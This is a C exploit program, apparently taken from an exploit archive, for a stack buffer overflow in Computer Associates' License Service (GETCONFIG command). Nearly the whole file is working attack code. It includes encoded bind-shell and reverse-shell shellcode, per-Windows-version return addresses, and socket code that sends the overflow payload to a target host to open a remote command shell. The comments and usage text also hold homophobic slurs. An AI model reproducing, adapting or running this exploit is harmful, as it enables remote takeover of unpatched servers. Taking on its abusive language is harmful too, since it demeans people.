================================================================ CA License Server (GETCONFIG) Remote Buffer Overflow Exploit (c) ================================================================ /* Computer-Associates, License Service Stack Overflow Homepage: ca.com Affected version: v1.61 and below (in eTrust, Unicenter, BrightStor, etc..) Patched version: hotfix Link: ca.com Date: 04 March 2005 Application Risk: Tsunami Internet Risk: High Dicovery Credits: Barnaby Jack (eeye.com) Exploit Credits : class101 Hole History: 02-3-2005: BOF flaws published by Barnaby Jack of eeye.com 04-3-2005: metasploit module released 06-2-2005: hat-squad exploit released using again another way than msf, a nasty way auto-bypassing XP/2003 stack's protections :) Notes: -2 bad chars, 0x00, 0x20 -This is possible to trigger at least several big flaws per affected commands, case1: you own eip, ebx 4 bytes up to it is usable case2: you own eip, esp pointing right after is usable case3: you own eip, esi pointing into the buffer In this exploit, I have choosed case2, allowing us to overwrite eip with a jmp/call esp, a push esp, retn or why not something useful in a ca's dll, w00t :P, can be a good challenge to search on this, look around 0x10010000.licscvr.dll -tiny upgrade of the awesome vlad902's shellcode to remove that f'king 0x20 into the decoded reverse shellcode v1.31 by the way, sending up this bad char to the bottom of what you know of some amazing wannabel33t deface kiddies crawling my website, talking in sh0utb0x, sucking my c0x, answer in a code, he! :-) (IHS , iranian homosec deface team to not name them :>) -beware that the ca license service autoban and this is possible to know the OS with A0 GETCONFIG SELF A Greet: NIMA MAJIDI BEHRANG FOULADI PEJMAN HAMID! :) HAT-SQUAD.COM metasploit.com A^C^E of addict3d.org str0ke of milw0rm.com and my homy CLASS101.ORG :> */ #include #include #include #ifdef WIN32 #include "winsock2.h" #pragma comment(lib, "ws2_32") #else #include #include #include #include #include #include #include #include #include #include #endif char scode[]= "\x33\xC9\x83\xE9\xAF\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xBB" "\x1E\xD3\x6A\x83\xEB\xFC\xE2\xF4\x47\x74\x38\x25\x53\xE7\x2C\x95" "\x44\x7E\x58\x06\x9F\x3A\x58\x2F\x87\x95\xAF\x6F\xC3\x1F\x3C\xE1" "\xF4\x06\x58\x35\x9B\x1F\x38\x89\x8B\x57\x58\x5E\x30\x1F\x3D\x5B" "\x7B\x87\x7F\xEE\x7B\x6A\xD4\xAB\x71\x13\xD2\xA8\x50\xEA\xE8\x3E" "\x9F\x36\xA6\x89\x30\x41\xF7\x6B\x50\x78\x58\x66\xF0\x95\x8C\x76" "\xBA\xF5\xD0\x46\x30\x97\xBF\x4E\xA7\x7F\x10\x5B\x7B\x7A\x58\x2A" "\x8B\x95\x93\x66\x30\x6E\xCF\xC7\x30\x5E\xDB\x34\xD3\x90\x9D\x64" "\x57\x4E\x2C\xBC\x8A\xC5\xB5\x39\xDD\x76\xE0\x58\xD3\x69\xA0\x58" "\xE4\x4A\x2C\xBA\xD3\xD5\x3E\x96\x80\x4E\x2C\xBC\xE4\x97\x36\x0C" "\x3A\xF3\xDB\x68\xEE\x74\xD1\x95\x6B\x76\x0A\x63\x4E\xB3\x84\x95" "\x6D\x4D\x80\x39\xE8\x4D\x90\x39\xF8\x4D\x2C\xBA\xDD\x76\xD3\x0F" "\xDD\x4D\x5A\x8B\x2E\x76\x77\x70\xCB\xD9\x84\x95\x6D\x74\xC3\x3B" "\xEE\xE1\x03\x02\x1F\xB3\xFD\x83\xEC\xE1\x05\x39\xEE\xE1\x03\x02" "\x5E\x57\x55\x23\xEC\xE1\x05\x3A\xEF\x4A\x86\x95\x6B\x8D\xBB\x8D" "\xC2\xD8\xAA\x3D\x44\xC8\x86\x95\x6B\x78\xB9\x0E\xDD\x76\xB0\x07" "\x32\xFB\xB9\x3A\xE2\x37\x1F\xE3\x5C\x74\x97\xE3\x59\x2F\x13\x99" "\x11\xE0\x91\x47\x45\x5C\xFF\xF9\x36\x64\xEB\xC1\x10\xB5\xBB\x18" "\x45\xAD\xC5\x95\xCE\x5A\x2C\xBC\xE0\x49\x81\x3B\xEA\x4F\xB9\x6B" "\xEA\x4F\x86\x3B\x44\xCE\xBB\xC7\x62\x1B\x1D\x39\x44\xC8\xB9\x95" "\x44\x29\x2C\xBA\x30\x49\x2F\xE9\x7F\x7A\x2C\xBC\xE9\xE1\x03\x02" "\x54\xD0\x33\x0A\xE8\xE1\x05\x95\x6B\x1E\xD3\x6A"; char scode2[]= /*original vlad902's reverse shellcode from metasploit.com NOT xored, modded by class101 to remove the common badchar "\x20" original bytes + modded = 291 + 3 = 294 bytes reverse shellcode v1.31*/ "\xFC\x6A" "\xEB\x52" /*modded adjusting jump*/ "\xE8\xF9\xFF\xFF\xFF\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x7C\x05" "\x78\x01\xEF" "\x83\xC7\x01" /*modded, adding 1 to edi*/ "\x8B\x4F\x17" /*modded, adjusting ecx*/ "\x8B\x5F\x1F" /*modded, adjusting ebx, "\x20" out, yeahouu ;>*/ "\x01\xEB\xE3\x30\x49\x8B\x34\x8B\x01\xEE\x31\xC0\x99\xAC\x84\xC0" "\x74\x07\xC1\xCA\x0D\x01\xC2\xEB\xF4\x3B\x54\x24\x28\x75\xE3" "\x8B\x5F\x23" /*modded, adjusting ebx*/ "\x01\xEB\x66\x8B\x0C\x4B" "\x8B\x5F\x1B" /*modded, adjusting ebx*/ "\x01\xEB\x03\x2C\x8B\x89\x6C\x24\x1C\x61\xC3\x31\xC0\x64\x8B\x40" "\x30\x8B\x40\x0C\x8B\x70\x1C\xAD\x8B\x40\x08\x5E\x68\x8E\x4E\x0E" "\xEC\x50\xFF\xD6\x31\xDB\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32" "\x5F\x54\xFF\xD0\x68\xCB\xED\xFC\x3B\x50\xFF\xD6\x5F\x89\xE5\x66" "\x81\xED\x08\x02\x55\x6A\x02\xFF\xD0\x68\xD9\x09\xF5\xAD\x57\xFF" "\xD6\x53\x53\x53\x53\x43\x53\x43\x53\xFF\xD0\x68\x00\x00\x00\x00" "\x66\x68\x00\x00\x66\x53\x89\xE1\x95\x68\xEC\xF9\xAA\x60\x57\xFF" "\xD6\x6A\x10\x51\x55\xFF\xD0\x66\x6A\x64\x66\x68\x63\x6D\x6A\x50" "\x59\x29\xCC\x89\xE7\x6A\x44\x89\xE2\x31\xC0\xF3\xAA\x95\x89\xFD" "\xFE\x42\x2D\xFE\x42\x2C\x8D\x7A\x38\xAB\xAB\xAB\x68\x72\xFE\xB3" "\x16\xFF\x75\x28\xFF\xD6\x5B\x57\x52\x51\x51\x51\x6A\x01\x51\x51" "\x55\x51\xFF\xD0\x68\xAD\xD9\x05\xCE\x53\xFF\xD6\x6A\xFF\xFF\x37" "\xFF\xD0\x68\xE7\x79\xC6\x79\xFF\x75\x04\xFF\xD6\xFF\x77\xFC\xFF" "\xD0\x68\xEF\xCE\xE0\x60\x53\xFF\xD6\xFF\xD0"; char payload[8192]; char esp2k[]="\x9F\xF8\x1A\x01"; /*jmp.esp*/ char espNT[]="\xA8\x14\xF9\x77"; /*push.esp.return*/ char espXP1[]="\x5E\xF0\xF7\x77"; /*push.esp.return*/ char espXP2[]="\x5C\xC3\x92\x7C"; /*push.esp.return*/ char espk3[]="\xAB\x8B\xFB\x77"; /*jmp.esp*/ char EOL[]="\x0D\x0A"; char talk1[]= "\x47\x42\x52\x20"; char talk2[]= "\x20\x3C\x45\x4F\x4D\x3E"; #ifdef WIN32 WSADATA wsadata; #endif void ver(); void usage(char* us); int main(int argc,char *argv[]) { ver(); unsigned long gip; unsigned short gport; char *target, *os; if (argc>6||argc<3||atoi(argv[1])>5||atoi(argv[1])<1){usage(argv[0]);return -1;} if (argc==5){usage(argv[0]);return -1;} if (strlen(argv[2])<7){usage(argv[0]);return -1;} if (argc==6) { if (strlen(argv[4])<7){usage(argv[0]);return -1;} } #ifndef WIN32 if (argc==6) { gip=inet_addr(argv[4])^(long)0x00000000; gport=htons(atoi(argv[5]))^(short)0x0000; } #define Sleep sleep #define SOCKET int #define closesocket(s) close(s) #else if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup error\n");return -1;} if (argc==6) { gip=inet_addr(argv[4])^(ULONG)0x00000000; gport=htons(atoi(argv[5]))^(USHORT)0x0000; } #endif int ip=htonl(inet_addr(argv[2])), port; if (argc==4||argc==6){port=atoi(argv[3]);} else port=10203; SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server; s=socket(AF_INET,SOCK_STREAM,0); if (s==-1){printf("[+] socket() error\n");return -1;} if (atoi(argv[1]) == 1){target=esp2k;os="Win2k SP4 Server English\n[+] Win2k SP4 Pro English\n[+] Win2k SP? ? ?";} if (atoi(argv[1]) == 2){target=espNT;os="WinNT SP6 Wkst. English";} if (atoi(argv[1]) == 3){target=espXP2;os="WinXP SP2 Pro. English";} if (atoi(argv[1]) == 4){target=espXP1;os="WinXP SP1a Pro. English";} if (atoi(argv[1]) == 5){target=espk3;os="Win2003 SP4 Server English";} printf("[+] target(s): %s\n",os); server.sin_family=AF_INET; server.sin_addr.s_addr=htonl(ip); server.sin_port=htons(port); connect(s,( struct sockaddr *)&server,sizeof(server)); timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask); switch(select(s+1,NULL,&mask,NULL,&timeout)) { case -1: {printf("[+] select() error\n");closesocket(s);return -1;} case 0: {printf("[+] connect() error\n");closesocket(s);return -1;} default: if(FD_ISSET(s,&mask)) { printf("[+] connected, constructing the payload...\n"); #ifdef WIN32 Sleep(1000); #else Sleep(1); #endif strcpy(payload,talk1); memset(payload+4,0x90,3208); memcpy(payload+2024+4,target,4); strcat(payload,talk2);strcat(payload,EOL); if (argc==6) { memcpy(&scode2[167], &gip, 4); memcpy(&scode2[173], &gport, 2); memcpy(payload+2038,scode2,strlen(scode2)); } else memcpy(payload+2038,scode,strlen(scode)); if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 1, the server prolly rebooted.\n");return -1;} #ifdef WIN32 Sleep(2000); #else Sleep(2); #endif printf("[+] size of payload: %d\n",strlen(payload)); printf("[+] payload sent.\n"); return 0; } } closesocket(s); #ifdef WIN32 WSACleanup(); #endif return 0; } void usage(char* us) { printf("USAGE: \n"); printf(" [+] . 101_calic.exe Target VulnIP (bind mode) \n"); printf(" [+] . 101_calic.exe Target VulnIP VulnPORT (bind mode) \n"); printf(" [+] . 101_calic.exe Target VulnIP VulnPORT GayIP GayPORT (reverse mode) \n"); printf("TARGET: \n"); printf(" [+] 1. Win2k SP4 Server English (*) \n"); printf(" [+] 1. Win2k SP4 Pro English (*) \n"); printf(" [+] 1. Win2k SP? ? ? \n"); printf(" [+] 2. WinNT SP6 Wkst. English (*) \n"); printf(" [+] 3. WinXP SP2 Pro. English \n"); printf(" [+] 4. WinXP SP1a Pro. English (*) \n"); printf(" [+] 5. Win2k3 SP0 Server English \n"); printf("NOTE: \n"); printf(" The exploit bind a cmdshell port 101 or \n"); printf(" reverse a cmdshell on your listener. \n"); printf(" A wildcard (*) mean tested working, else, supposed working. \n"); printf(" A symbol (-) mean all. \n"); printf(" Compilation msvc6, cygwin, Linux. \n"); return; } void ver() { printf(" \n"); printf(" ===================================================[0.1]=====\n"); printf(" =======Computer Associates, License Client Service===========\n"); printf(" ==============Remote Stack Overflow Exploit==================\n"); printf(" ======coded by class101==================[Hat-Squad.com]=====\n"); printf(" =====================================[class101.org 2005]=====\n"); printf(" \n"); } # 0day.today [2018-04-11] #

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